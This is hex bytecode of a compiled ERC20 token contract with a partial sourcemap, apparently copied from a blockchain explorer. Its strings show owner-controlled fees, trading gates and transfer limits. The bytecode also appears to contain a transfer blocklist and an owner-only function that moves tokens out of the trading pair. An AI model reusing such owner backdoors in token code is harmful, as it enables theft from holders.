d613077565b60405180821515815260200191505060405180910390f35b34801561126157600080fd5b5061126a613165565b6040518082815260200191505060405180910390f35b34801561128c57600080fd5b506112cf600480360360208110156112a357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061316b565b005b3480156112dd57600080fd5b506112e661337b565b6040518082815260200191505060405180910390f35b34801561130857600080fd5b50611311613381565b6040518082815260200191505060405180910390f35b34801561133357600080fd5b506113606004803603602081101561134a57600080fd5b8101908080359060200190929190505050613387565b005b606060038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156113fa5780601f106113cf576101008083540402835291602001916113fa565b820191906000526020600020905b8154815290600101906020018083116113dd57829003601f168201915b5050505050905090565b600061141861141161354c565b8484613554565b6001905092915050565b602080528060005260406000206000915054906101000a900460ff1681565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600254905090565b61147961354c565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461153b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f90b8024c4923d3873ff5b9fcb43d0360d4b9217fa41225d07ba379993552e74360405160405180910390a380600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601d5481565b601c5481565b61160f61354c565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6103e86116dc611467565b816116e357fe5b0481101561173c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602f815260200180614eda602f913960400191505060405180910390fd5b80600a8190555050565b600061175384848461374b565b6118148461175f61354c565b61180f85604051806060016040528060288152602001614e4460289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006117c561354c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546142439092919063ffffffff16565b613554565b600190509392505050565b61182761354c565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146118e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006012905090565b60006119f661195a61354c565b846119f1856001600061196b61354c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134c490919063ffffffff16565b613554565b6001905092915050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600d60009054906101000a900460ff1681565b6000601f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60185481565b600d60029054906101000a900460ff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611af861354c565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611bba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000611c8561354c565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611d47576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600d60006101000a81548160ff0219169083151502179055506001905090565b611d7161354c565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611e33576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80602060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60155481565b611ec261354c565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611f84576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b8060138190555050565b611f9661354c565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612058576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b82601581905550816016819055508060178190555060175460165460155401016014819055506014805411156120f6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f4d757374206b656570206665657320617420323025206f72206c65737300000081525060200191505060405180910390fd5b505050565b61210361354c565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146121c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600181111561223c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f646f6e27742063617463682068756d616e73000000000000000000000000000081525060200191505060405180910390fd5b6001600d60026101000a81548160ff02191690831515021790555060011515601060019054906101000a900460ff161515146122e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260048152602001807f646f6e650000000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b6000601060016101000a81548160ff02191690831515021790555061230481614303565b7fbd657b4e94b205761f2ca5be9988d7b243c828f625c0746c6581ec528e507c47601060019054906101000a900460ff1660405180821515815260200191505060405180910390a150565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60195481565b606060048054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561243d5780601f106124125761010080835404028352916020019161243d565b820191906000526020600020905b81548152906001019060200180831161242057829003601f168201915b5050505050905090565b61244f61354c565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612511576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156125b8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526039815260200180614cf06039913960400191505060405180910390fd5b6125c2828261432f565b5050565b60175481565b601e5481565b601b5481565b600061269b6125e561354c565b8461269685604051806060016040528060258152602001614eb5602591396001600061260f61354c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546142439092919063ffffffff16565b613554565b6001905092915050565b60006126b96126b261354c565b848461374b565b6001905092915050565b6126cb61354c565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461278d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fa751787977eeb3902e30e1d19ca00c6ad274a1f622c31a206e32366700b0567460405160405180910390a380600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b61285561354c565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612917576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60005b815181101561299b576001600e600084848151811061293557fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808060010191505061291a565b5050565b60216020528060005260406000206000915054906101000a900460ff1681565b600d60019054906101000a900460ff1681565b6129da61354c565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612a9c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df78260405180821515815260200191505060405180910390a25050565b612b4f61354c565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612c11576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b8260198190555081601a8190555080601b81905550601b54601a54601954010160188190555060196018541115612cb0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f4d757374206b656570206665657320617420323525206f72206c65737300000081525060200191505060405180910390fd5b505050565b612cbd61354c565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612d7f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b670de0b6b3a76400006103e86005612d95611467565b0281612d9d57fe5b0481612da557fe5b04811015612dfe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180614ccc6024913960400191505060405180910390fd5b670de0b6b3a76400008102600c8190555050565b601060009054906101000a900460ff1681565b600a5481565b6000612e3561354c565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612ef7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b620186a06001612f05611467565b0281612f0d57fe5b04821015612f66576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526035815260200180614d856035913960400191505060405180910390fd5b6103e86005612f73611467565b0281612f7b57fe5b04821115612fd4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526034815260200180614dba6034913960400191505060405180910390fd5b81600b8190555060019050919050565b60145481565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600b5481565b600061308161354c565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614613143576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000601060006101000a81548160ff0219169083151502179055506001905090565b60165481565b61317361354c565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614613235576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156132bb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180614c846026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601a5481565b600c5481565b61338f61354c565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614613451576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600061347e600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611aa8565b905060018111156134c0576134bf600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166134b761234f565b84840361374b565b5b5050565b600080828401905083811015613542576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156135da576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180614e916024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415613660576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180614caa6022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156137d1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180614e6c6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415613857576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180614c616023913960400191505060405180910390fd5b600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156138fb5750600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61390457600080fd5b600081141561391e57613919838360006143d0565b61423e565b600d60009054906101000a900460ff1615613d715761393b61234f565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156139a9575061397961234f565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156139e25750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015613a1c575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015613a355750600760149054906101000a900460ff16155b15613d7057600d60019054906101000a900460ff16613b6257601f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680613aef5750601f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b613b61576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f54726164696e67206973206e6f74206163746976652e0000000000000000000081525060200191505060405180910390fd5b5b602160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015613c055750602060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15613c6a57600a54811115613c65576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526035815260200180614dee6035913960400191505060405180910390fd5b613d6f565b602160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015613d0d5750602060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15613d6e57600a54811115613d6d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526036815260200180614d4f6036913960400191505060405180910390fd5b5b5b5b5b6000613d7c30611aa8565b90506000600b548210159050808015613da15750600d60029054906101000a900460ff165b8015613dba5750600760149054906101000a900460ff16155b8015613e105750602160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015613e665750601f60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015613ebc5750601f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15613f00576001600760146101000a81548160ff021916908315150217905550613ee4614691565b6000600760146101000a81548160ff0219169083151502179055505b6000600760149054906101000a900460ff161590506000600a9050601f60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680613fbc5750601f60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15613fca5760009150614035565b602160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561403457614031601354826147c790919063ffffffff16565b90505b5b6000821561422d57602160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561409857506000601854115b15614129576140c560646140b76018548961481190919063ffffffff16565b61489790919063ffffffff16565b9050601854601a548202816140d657fe5b04601d60008282540192505081905550601854601b548202816140f557fe5b04601e6000828254019250508190555060185460195482028161411457fe5b04601c60008282540192505081905550614212565b602160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561418457506000601454115b15614211576141b160646141a36014548961481190919063ffffffff16565b61489790919063ffffffff16565b90506014546016548202816141c257fe5b04601d600082825401925050819055506014546017548202816141e157fe5b04601e6000828254019250508190555060145460155482028161420057fe5b04601c600082825401925050819055505b5b6000811115614227576142268830836143d0565b5b80860395505b6142388888886143d0565b50505050505b505050565b60008383111582906142f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156142b557808201518184015260208101905061429a565b50505050905090810190601f1680156142e25780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b43601181905550806012819055506001600d60016101000a81548160ff02191690831515021790555050565b80602160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508015158273ffffffffffffffffffffffffffffffffffffffff167fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab60405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415614456576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180614e6c6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156144dc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180614c616023913960400191505060405180910390fd5b6144e78383836148e1565b61455281604051806060016040528060268152602001614d29602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546142439092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506145e5816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134c490919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b600061469c30611aa8565b90506000601e54601c54601d54010190506000808314806146bd5750600082145b156146ca575050506147c5565b6014600b54028311156146e0576014600b540292505b6000600283601d548602816146f157fe5b04816146f957fe5b049050600061471182866147c790919063ffffffff16565b905061471c816148e6565b6000601d819055506000601c819055506000601e81905550600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff164760405180600001905060006040518083038185875af1925050503d80600081146147b4576040519150601f19603f3d011682016040523d82523d6000602084013e6147b9565b606091505b50508093505050505050505b565b600061480983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250614243565b905092915050565b6000808314156148245760009050614891565b600082840290508284828161483557fe5b041461488c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180614e236021913960400191505060405180910390fd5b809150505b92915050565b60006148d983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250614b9a565b905092915050565b505050565b6000600267ffffffffffffffff8111801561490057600080fd5b5060405190808252806020026020018201604052801561492f5781602001602082028036833780820191505090505b509050308160008151811061494057fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156149e257600080fd5b505afa1580156149f6573d6000803e3d6000fd5b505050506040513d6020811015614a0c57600080fd5b810190808051906020019092919050505081600181518110614a2a57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050614a9130600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684613554565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b83811015614b55578082015181840152602081019050614b3a565b505050509050019650505050505050600060405180830381600087803b158015614b7e57600080fd5b505af1158015614b92573d6000803e3d6000fd5b505050505050565b60008083118290614c46576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015614c0b578082015181840152602081019050614bf0565b50505050905090810190601f168015614c385780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581614c5257fe5b04905080915050939250505056fe45524332303a207472616e7366657220746f20746865207a65726f20616464726573734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737343616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e20302e352554686520706169722063616e6e6f742062652072656d6f7665642066726f6d206175746f6d617465644d61726b65744d616b6572506169727345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636553656c6c207472616e7366657220616d6f756e74206578636565647320746865206d61785472616e73616374696f6e416d6f756e742e5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e20302e3030312520746f74616c20737570706c792e5377617020616d6f756e742063616e6e6f7420626520686967686572207468616e20302e352520746f74616c20737570706c792e427579207472616e7366657220616d6f756e74206578636565647320746865206d61785472616e73616374696f6e416d6f756e742e536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726f43616e6e6f7420736574206d61785472616e73616374696f6e416d6f756e74206c6f776572207468616e20302e3125a2646970667358221220521e4441e4c8fd697395d394900cdb8a1a89cc07e920db5658ec30206ad7756864736f6c63430007060033
Deployed Bytecode Sourcemap
29677:14356:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7491:100;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9658:169;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;31187:64;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;29757:41;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;8611:108;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;37957:157;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;30966:33;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;30926;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;35420:212;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;10309:355;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;43410:88;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;8453:93;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;